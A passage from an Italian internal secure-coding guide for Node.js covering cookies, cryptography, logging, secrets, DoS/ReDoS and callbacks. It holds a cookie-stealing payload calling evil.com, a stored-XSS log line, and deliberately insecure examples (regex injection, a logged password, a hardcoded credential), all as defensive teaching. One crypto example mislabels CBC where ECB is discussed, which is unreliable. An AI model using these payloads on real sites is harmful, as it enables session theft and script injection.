In questo tentativo di attacco, se HttpOnly è settato a true allora document.cookie torna una stringa vuota ed il payload diventa inefficace.

```
<img src='http://evil.com/' + document.cookie>
```

Per una corretta gestione degli header di risposta, oltre ad un approfondimento sulla gestione dei cookie, si rimand al link in coda al capitolo

6 CRITTOGRAFIA

Gli algoritmi crittografici servono a diversi scopi, tra cui la cifratura e la decifratura dei dati, la firma di questi per verificarne l'integrità o che provengano da una fonte attendibile, la confidenzialità di una comunicazione ed il non ripudio.

I moderni algoritmi crittografici si basano interamente sulla segretezza delle loro chiavi per la sicurezza; gli algoritmi stessi sono ben noti e studiati con attenzione. Questo principio è noto comunemente come il **Principio di Kerckhoffs**.

6.1 Modalità e padding nella cifratura

La modalità di un algoritmo di cifratura ne descrive il funzionamento interno e come le varie fasi del processo sono legate tra di loro. Si tenga in considerazione che alcune modalità sono per loro natura più vulnerabili di altre, e che lo schema di padding utilizzato può irrobustirne la sicurezza.

L'algoritmo Advanced Encryption Standard (AES) è un sistema a chiave simmetrica, ovvero i processi di cifratura e decifratura utilizzano la stessa identica chiave. La sua velocità computazionale e le poche risorse necessarie, oltre alla sua robustezza, lo rendono ideale per gestire grandi quantità di dati in poco tempo, siano questi in transito, in uso o a riposo.
La modalità meno sicura di funzionamento, e pertanto sconsigliata, è Electronic Codebook (ECB). Questo perché blocchi di dati uguali cifrati producono lo stess output, rendendo più semplice l'identificazione di schemi nel messaggio.

Viene proposto un esempio non sicuro

```
const crypto = require('crypto');
crypto.createCipheriv("AES-128-CBC", key, iv); // Noncompliant
```

Al momento della stesura del documento, la modalità di cifratura più robusta risulta essere Galois/Counter mode (GCM). La modalità GCM combina la crittografia con l'autenticazione e i controlli di integrità utilizzando una funzione hash crittografica e fornisce sia la riservatezza che l'autenticità dei dati.

Viene proposto un esempio sicuro

```
const crypto = require('crypto');
crypto.createCipheriv("AES-256-GCM", key, iv);
```

Altre modalità sicure sono le seguenti:

- CCM: Counter with CBC-MAC
- CWC: Cipher Block Chaining with Message Authentication Code
- EAX: Encrypt-and-Authenticate
- IAPM: Integer Authenticated Parallelizable Mode
- OCB: Offset Codebook Mode

L'algoritmo Rivest–Shamir–Adleman (RSA) invece è un sistema a chiave asimmetrica, ovvero la chiave pubblica e la chiave privata (legate da una relazione matematica basata sul calcolo dei fattori primi, e a cui si deve la loro robustezza) servono rispettivamente per cifrare e decifrare il messaggio. È decisamente più lento di AES

e necessità di più risorse, ma permette di ovviare al problema degli algoritmi a chiave simmetrica: come comunico in maniera sicura la chiave condivisa?

Nota: se è vero che la chiave pubblica deve essere messa a disposizione per permettere la cifratura del messaggio, è altrettanto vero che la chiave privata deve essere gelosamente custodita dal sistema e protetta opportunamente per evitare la falsificazione di messaggi. La chiave privata, a meno di compromissioni, non cambia nel tempo.

Le configurazioni meno sicure in questo caso, e pertanto sconsigliate, riguardano la mancata implementazione di uno schema di padding o l'utilizzo di PKCS1v1.5.

Lo schema consigliato per RSA è l'Optimal Asymmetric Encryption Padding scheme (OAEP), che ne aumenta l'entropia e la robustezza interna.

Di seguito una lista di algoritmi ormai deprecati:

- SHA1
- MD2
- MD4
- MD5
- RSA con chiave lunga 1024-bit o inferiore.
- DSA con chiave lunga 1024-bit o inferiore.
- ECDSA con chiave lunga 160-bit o inferiore.
- DES o Triple DES
- RC2
- SSL versions 1.0, 2.0 and 3.0
- TLS versions 1.0 and 1.1

Soluzioni più efficaci e ad oggi considerate sicure riguardano la scelta di algoritmi come **AES**, **SHA-512** e **SHA-3**, nonchè di **TLS 1.2** e **TLS 1.3**

Non è sufficiente utilizzare un algoritmo di crittografia robusto per garantire che le informazioni cifrate siano al sicuro. È importante utilizzare una chiave crittografica sufficientemente lunga ed utilizzare schemi e modalità di funzionamento sicuri.

6.2 Implementazione robusta di uno scambio dati

Qui di seguito si propone un'implementazione mediante la libreria crypto di un protocollo di scambio dati mediante RSA.

```
const crypto = require("crypto");
// Il metodo 'generateKeyPairSync' accetta due argomenti
// 1. Il tipo di algoritmo per cui verranno usate le chiavi, ovvero "rsa"
// 2. Un oggetto con le proprietà di queste
const { publicKey, privateKey } = crypto.generateKeyPairSync("rsa", {
    modulusLength: 2048,
});
```

Questo il processo di cifratura, da effettuare prima di inviare i dati all'esterno

```
const data = "my secret data";

const encryptedData = crypto.publicEncrypt(
  {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_OAEP_PADDING,
    oaepHash: "sha256",
  },
  Buffer.from(data)
);
console.log("encypted data: ", encryptedData.toString("base64"));
```

E il rispettivo processo di decifratura, per ottenere nuovamente il messaggio in chiaro

```
const decryptedData = crypto.privateDecrypt(
    {
        key: privateKey,
        // Per decifrare i dati, bisogna specificare
        // la stessa funzione di hashing e lo schema di padding usato per
        // la fase di cifratura
        padding: crypto.constants.RSA_PKCS1_OAEP_PADDING,
        oaepHash: "sha256",
    },
    encryptedData
);
console.log("decrypted data: ", decryptedData.toString());
```

Infine, gli ultimi passaggi da eseguire sono la firma del messaggio, che ne dimostra l'autenticità, e la verifica.

```
// Creare dei dati per la firma
const verifiableData = "this need to be verified";

// Il metodo di firma prende in input I dati da firmare,
// l'algoritmo di hashing e lo schema di padding.
// In output ritorna la firma sotto forma di bytes
const signature = crypto.sign("sha256", Buffer.from(verifiableData), {
  key: privateKey,
  padding: crypto.constants.RSA_PKCS1_PSS_PADDING,
});
console.log(signature.toString("base64"));

// Per verificare i dati utilizziamo lo stesso algoritmo di hashing
// e lo schema di padding (utilizzati per generare la firma),
// la firma, i dati per i quali vogliamo verificare la firma
// e la chiave pubblica
const isVerified = crypto.verify(
  "sha256",
  Buffer.from(verifiableData),
  {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PSS_PADDING,
  },
  signature
);

// isVerified, se la firma è valida, dovrebbe essere 'true'
console.log("signature verified: ", isVerified);
```

Nota: in funzione delle caratteristiche esposte fin'ora, e per migliorare l'efficienza della comunicazione e delle risorse usate, si consiglia inizialmente l'uso di un algoritmo asimmetrico per lo scambio di una chiave condivisa, per poi successivamente passare ad un algoritmo simmetrico (di base più efficiente) con la chiave appena scambiata.

7 LOGGING & MONITORING

I file di log sono utilizzati per tenere traccia di eventi rilevanti all'interno del sistema. Riportano solitamente informazioni complete per ricostruire cosa è accaduto in un determinato momento, e permettono di fare inferenza sullo stato attuale e passato dell'infrastruttura. Se questi non sono correttamente gestiti potrebbero ad esempio contenere payload malevoli o informazioni sensibili.

7.1 Logging in NodeJS

NodeJS mette a disposizione delle apposite librerie che forniscono funzionalità di logging. Difatti, seppur è quasi sempre consigliabile affidarsi a *console.log*, utilizzare delle specifiche librerie può essere più funzionale e può aiutare ad evitare abbassamenti delle performance dell'applicazione. Le librerie per effettuare logging messe a disposizione da NodeJS sono le seguenti:

- **Winston**: oltre ad essere di facile utilizzo, winston consente l'archiviazione dei log in diverse destinazioni (database remoti, file in locale, etc...) a seconda del livello del log stesso.
- **Pino**: anch'essa di facile utilizzo, è caratterizzato dal suo minimalismo e dal suo bassissimo impatto sulle performance dell'applicativo. Difatti viene generato un thread dedicato che si occueprà di gestire e processare i log generati.
- **Bunyan**: essa è una libreria basata su JSON e creata ad-hoc per NodeJS. Oltre a garantire le funzionalità di logging, al pari delle due librerie citate sopra, *bunyan* mette a disposizione una CLI per una migliore visualizzzione dei log generati.

Per l'installazione, la configurazione e l'utilizzo delle suddette librerie, si rimanda ai link di dettaglio elencati al paragrafo "*Link Utili*".

7.2 Informazioni sensibili nei log

Essendo i file di log intesi per consultazioni successive all'avvenimento di un evento, ed essendo comunque file scritti sul file system del server, i dati contenuti in essi devono anche rispettare la privacy degli utenti evitando di includere informazioni sensibili. Per sapere quali dati sono considerati sensibili e che pertanto vanno esclusi dai log è necessario consultare i regolamenti in materia (in unione europea, ad esempio, il GDPR su tutti).
Basti pensare che un file di log potrebbe essere esfiltrato o letto da personale non autorizzato per porre subito il punto sulle problematiche legali che questa condotta comporta.

L'esempio seguente mostra una implementazione errata di una stampa nei log, che include informazioni sensibili quali la password.

```
private void LogLoginDetails(String username, String password){
    Logger.info("Tentativo di login con username: " + username + " e password: " + password);
}
```

Una struttura standardizzata utilizzata per formattare i record è la seguente:

- Timestamp
- Informazioni sull'utenza
- Evento che ha generato la scrittura della entry
- Eventuali informazioni aggiuntive (stato del server, user agent, payload etc)

7.3 Mancata validazione o sanitizzazione dei log

Un file di log non è di per sé vulnerabile ad attacchi di mancata sanitizzazione o validazione, essendo un semplice file testuale. Tuttavia il problema può presentarsi nel momento in cui questo viene consultato. Se il contenuto non subisce una validazione o sanitizzazione opportuna, e viene aperto ad esempio tramite un browser che legge il contenuto in formato text/html, il file diventa un vettore d'attacco per iniettare un payload malevolo.

Viene riportato un esempio vulnerabile.

```
2020-01-01 14:00:00 – Utente A scrive: <img src=x onerror=alert(1)>
```

Il file di log una volta ottenuto dal browser viene interpretato, eseguendo l'istruzione alert() e dando così vita ad un attacco XSS stored.

Per prevenire questi attacchi bisogna seguire le linee guida già definite nei capitoli che coprono Sanitizzazione e Validazione ed attacchi Injection.

8 INFORMAZIONI CONFIDENZIALI

Tutte quelle informazioni che sono classificate come confidenziali, le credenziali di accesso ad un sistema informatico su tutte, devono essere protette in maniera adeguata. Disporre di un forte algoritmo di autenticazione e verifica dell'identità potrebbe essere vano se le credenziali sono facilmente violabili.

8.1 Credenziali Hardcoded e gestione dei secret in NodeJS

Una delle "cattive" pratiche di programmazione è quella di inserire, in chiaro, le credenziali di accesso ad un sistema (applicazione, servizio, database, etc.) all'interno del codice applicativo (*hardcoded credentials*). Esistono delle soluzioni alternative che garantiscono un adeguato livello di sicurezza. Una di queste è l'utilizzo di variabili di ambiente all'interno delle quali conservare le credenziali di accesso in maniera tale da separarle dal codice e conservarle in un file di configurazione protetto.

Di seguito si riporta un esempio di credenziali per l'accesso ad un database conservate e codificate in chiaro all'interno del codice sorgente:

```
var mysql = require('mysql');
var connection = mysql.createConnection({
  host: "192.168.1.124",
  user: "username",
  password: "Passw0rd",
  database: "myDB"
});

connection.connect();
```

In NodeJS è possibile utilizzare la libreria *dotenv*. Essa consente di caricare automaticamente le variabili di ambiente contenute in un file *.env* all'interno di oggetto *process.env*. Difatti, in NodeJS le variabili di ambiente sono accessibili tramite l'oggetto *env* (che è una proprietà dell'oggetto globale *process*).

Di seguito si riporta la corretta soluzione per l'esempio precedente tramite l'utilizzo di *dotenv* per la gestione delle credenziali di accesso ad un istanza di un database:

```
require('dotenv').config();

var mysql = require('mysql');
var connection = mysql.createConnection({
  host: process.env.DB_HOST,
  user: process.env.DB_USER,
  password: process.env.DB_PASS,
  database: process.env.DB_NAME
});

connection.connect();
```

Nella sezione dei link utili si trovano ulteriori dettagli riguardo l'installazione, la configurazione e l'utilizzo della libreria *dotenv* in NodeJS.

9 DENIAL OF SERVICE

Un sistema dispone di risorse limitate, per quanto queste possano essere numerose. Con il termine risorsa si intendono tutti quegli asset software ed hardware che permettono il funzionamento dell'applicativo, direttamente ed indirettamente, come file, socket, database etc. Se queste non vengono gestite correttamente (ad esempio non vengono deallocate dopo il loro utilizzo) possono nel tempo ridursi sempre di più fino a terminare. Un sistema senza risorse libere è un sistema che non può più prendere in carico nuove richieste, finendo in uno stato di Denial of Service (DoS).

9.1 Distributed Denial of Service - DDoS

In un attacco DDoS, un attaccante satura i server di traffico Internet per interromperne il normale funzionamento sfruttando una rete di computer chiamata botnet o rete zombie, sotto il suo controllo, che simultaneamente manda numerose richieste. Questo traffico può sovraccaricare il sistema, data l'ingente mole, finendo per causare danni significativi ed interruzioni. Le versioni 4 - 4.1.1 di Node.js che contenevano un bug nella gestione dell'HTTP ne sono un esempio. Si consiglia, in linea generale, di disporre sempre delle ultime versioni disponibili che vengono costantemente aggiornate per rimuovere le vulnerabilità note, migliorandone le funzionalità e la sicurezza.

Il limite predefinito per le richieste in Node.js è, di base, di 5 MB. Per evitare un attacco DDoS in cui un hacker satura i server, è possibile limitare ulteriormente la dimensione delle richieste consentite da Node.js. Tuttavia va ricordato che l'implementazione delle contromisure di sicurezza deve essere quanto più possibile trasparente agli utenti finali, di modo che la loro esperienza durante la navigazione ne risenta il minimo.

Ecco due semplici modi per farlo:

- Configurare l'opzione "limit" nel pacchetto body-parser per accettare solo payload di piccole dimensioni.

```
var bodyParser = require('body-parser');
app.use(bodyParser.json({limit: '1mb'}));
app.use(bodyParser.urlencoded({limit: '1mb', extended: true}));
```

- Usare reverse proxies o express middleware per impostare limiti di dimensione per certi tipi di contenuti.

9.2 Regular Expression Denial of Service – ReDos

Le iniezioni di espressioni regolari si verificano quando l'applicazione recupera dati non attendibili e li utilizza come regex per eseguire una corrispondenza di pattern con una stringa. Può tuttavia verificarsi anche che la regex definita dagli sviluppatori, se eseguita su alcune stringhe in input accuratamente create, impieghi parecchio tempo per terminare l'esecuzione.
La maggior parte dei motori di ricerca di espressioni regolari utilizza il backtracking per provare tutti i possibili percorsi di esecuzione delle regex durante la valutazione di un input. A volte questo può portare a problemi di prestazioni, definiti anche situazioni di backtracking catastrofico.
Nel contesto di un'applicazione web vulnerabile all'iniezione di regex:

- Dopo aver individuato il punto di iniezione, gli aggressori inseriscono i dati nel campo vulnerabile per rendere inaccessibile il componente interessato.
- A seconda dell'architettura software dell'applicazione e della posizione del punto di iniezione, l'impatto può essere visibile o meno.

Di seguito sono riportati alcuni scenari reali che illustrano alcuni impatti di un attaccante che sfrutta la vulnerabilità.

Auto-Dos
Nei casi in cui la complessità dell'espressione regolare è esponenziale rispetto alla dimensione dell'input, un input piccolo e accuratamente creato (ad esempio, 20 caratteri) può innescare un backtracking catastrofico e causare un denial of service dell'applicazione.

La complessità super-lineare delle regex può produrre gli stessi effetti per un input di grandi dimensioni e accuratamente creato (migliaia di caratteri).

Se il componente messo a rischio da questa vulnerabilità non è un collo di bottiglia che agisce come single point of failure (SPOF) all'interno dell'applicazione, la negazione del servizio potrebbe interessare solo l'attaccante che l'ha avviata.

Questo tipo di denial of service benigno può verificarsi anche in architetture che si basano molto su container e orchestratori di container. I sistemi di replica rileverebbero il guasto di un container e lo sostituirebbero automaticamente.

SPOF infrastrutturale
Tuttavia, un attacco denial of service può essere critico per l'azienda se ha come obiettivo un componente SPOF. A volte uno SPOF è una vulnerabilità dell'architettura software (ad esempio un singolo componente da cui dipendono più componenti critici) o una vulnerabilità operativa (ad esempio capacità insufficienti di creazione di container o mancata terminazione dei container).

In entrambi i casi, gli aggressori mirano a sfruttare la debolezza dell'infrastruttura inviando il maggior numero possibile di payload dannosi, utilizzando infrastrutture offensive potenzialmente enormi.

Queste minacce sono particolarmente insidiose se l'organizzazione attaccata non dispone di un piano di disaster recovery (DRP).

Il seguente esempio mostra un'implementazione non sicura vulnerabile ad un attacco ReDos

```
const express = require('express');

const app = express();

app.get('/lookup', (req, res) => {
    const regex = RegExp(req.query.regex); // Noncompliant

    if(regex.test(req.query.data)){
        res.send("It's a Match!");
    }else{
        res.send("Not a Match!");
    }
})
```

Mentre a seguire viene proposta una versione corretta

```
const express = require('express');
const escapeStringRegexp = require('escape-string-regexp');

const app = express();

app.get('/lookup', (req, res) => {
    const regex = RegExp(escapeStringRegexp(req.query.regex));

    if(regex.test(req.query.data)){
        res.send("It's a Match!");
    }else{
        res.send("Not a Match!");
    }
})
```

L'escape dei metacaratteri tramite funzioni native è una soluzione contro l'iniezione di regex.
La funzione di escape sanifica l'input in modo che il motore di espressione regolare interpreti questi caratteri letteralmente.

È possibile utilizzare anche un approccio di tipo allowlist, creando un elenco contenente stringhe autorizzate e sicure che l'applicazione deve utilizzare in una query.

Se un input dell'utente non corrisponde a una voce di questo elenco, deve essere considerato non sicuro e rifiutato.

Nota importante: l'applicazione deve sanificare e validare sul lato server. Non sul front-end lato client, in quanto quest'ultimo è relativamente facile da eludere.

Dove possibile, utilizzare motori regex non backtracking, ad esempio re2 di Google.

Nella soluzione conforme, la funzione escapeStringRegexp fornita dal pacchetto npm escape-string-regexp esegue l'escape di metacaratteri e sequenze di escape che avrebbero potuto interrompere la logica inizialmente prevista.

9.3 Callback Hell

Originariamente, JavaScript era pensato per gestire l'interazione con l'utente nel browser, implementando la cosiddetta "logica applicativa" frontend in un ambiente single thread e gestendo il flusso di codice in maniera sincrona. NodeJS, in funzione della sua natura e delle sfide per cui è nato, introduce un ambiente I/O non bloccante, che permette l'esecuzione del flusso in modalità asincrona.

Le callback servono per l'appunto a gestire la gestione delle chaimate asincrone. Queste servono per l'handling di eventi di cui non si può sapere a priori l'ordine di esecuzione, proprio perchè sono eseguite in risposta ad un evento di cui restano in attesa. È comune utilizzare le callback per la gestione degli errori. Vengono definite con la seguente sintassi.

```
function handler(argument, (err, data) => {
    // gestione dell'eventuale errore
    // utilizzo del valore di ritorno data
})
```

Tuttavia, innestare tra di loro vari livelli, a cui le callback contribuiscono, comporta una gestione scorretta di queste a causa della poca leggibilità del codice, perdendo tra i vari step gli errori ed i risultati. Questa condizione è nota, per l'appunto, con il nome di Callback Hell.

Sono state introdotte alcune alternative per rendere la gestione delle callback da innestata a lineare, che sono:

- Promises (ES6)
- Async/Await (ES2017)

Nella documentazione OWASP resa disponibile nel capitolo *"Link Utili"* in coda, sono presenti esempi di implementazione con entrambi i metodi.

10 Link utili

- **Cross-Site Request Forgery**
  - Nodejs Security - OWASP Cheat Sheet Series
  - Cross-Site Request Forgery Prevention - OWASP Cheat Sheet Series
  - csrf-sync - npm (npmjs.com)
  - csrf-csrf - npm (npmjs.com)
- **Server-Side Request Forgery**
  - Server Side Request Forgery Prevention - OWASP Cheat Sheet Series

- **Violazione di accesso alla memoria**
  - Node.js — Security Best Practices (nodejs.org)
  - Command-line API | Node.js v18.20.4 Documentation (nodejs.org)

- **Utilizzo di cartelle pubbliche**
  - Insecure Temporary File - OWASP

- **Validazione**
  - Nodejs Security - OWASP Cheat Sheet Series
  - Input Validation - OWASP Cheat Sheet Series
  - validator - npm (npmjs.com)
  - express-mongo-sanitize - npm (npmjs.com)

- **Sanitizzazione**
  - Cross Site Scripting Prevention - OWASP Cheat Sheet Series

- **Cross-Site scripting**
  - dompurify - npm (npmjs.com)
  - strip-js - npm (npmjs.com)
  - Nodejs Security - OWASP Cheat Sheet Series

- **DNS Rebinding**
  - Node.js — Security Best Practices (nodejs.org)

- **SQL Injection**
  - SQL Injection - OWASP Cheat Sheet Series

- **XML Injection**
  - XML Security Cheat Sheet - OWASP Cheat Sheet Series

- **Server-Side Prototype Pollution**
  - Node.js — Security Best Practices (nodejs.org)
  - Prototype Pollution Prevention - OWASP Cheat Sheet Series

- **Configurazione dei cookie**
  - Nodejs Security - OWASP Cheat Sheet Series

- **Modalità e padding nella cifratura**

Crypto | Node.js v22.5.0 Documentation (nodejs.org)

- **Logging in NodeJS**:
  - winston - npm (npmjs.com)
  - pino - npm (npmjs.com)
  - bunyan - npm (npmjs.com)
  - Nodejs Security - OWASP Cheat Sheet Series

- **Credenziali Hardcoded e gestione dei secret in NodeJS**
  - Quickstart ⚡ | Dotenv
  - dotenv - npm (npmjs.com)

- **HTTP server**
  - Nodejs Security - OWASP Cheat Sheet Series
  - body-parser - npm (npmjs.com)

- **Regular Expression Denial of Service – ReDos**
  - Regular expression Denial of Service - ReDoS | OWASP Foundation
  - Input Validation - OWASP Cheat Sheet Series

- **Callback Hell**
  - Nodejs Security - OWASP Cheat Sheet Series
  - Node.js — JavaScript Asynchronous Programming and Callbacks (nodejs.org)

Italgas S.p.A - Informazioni Interne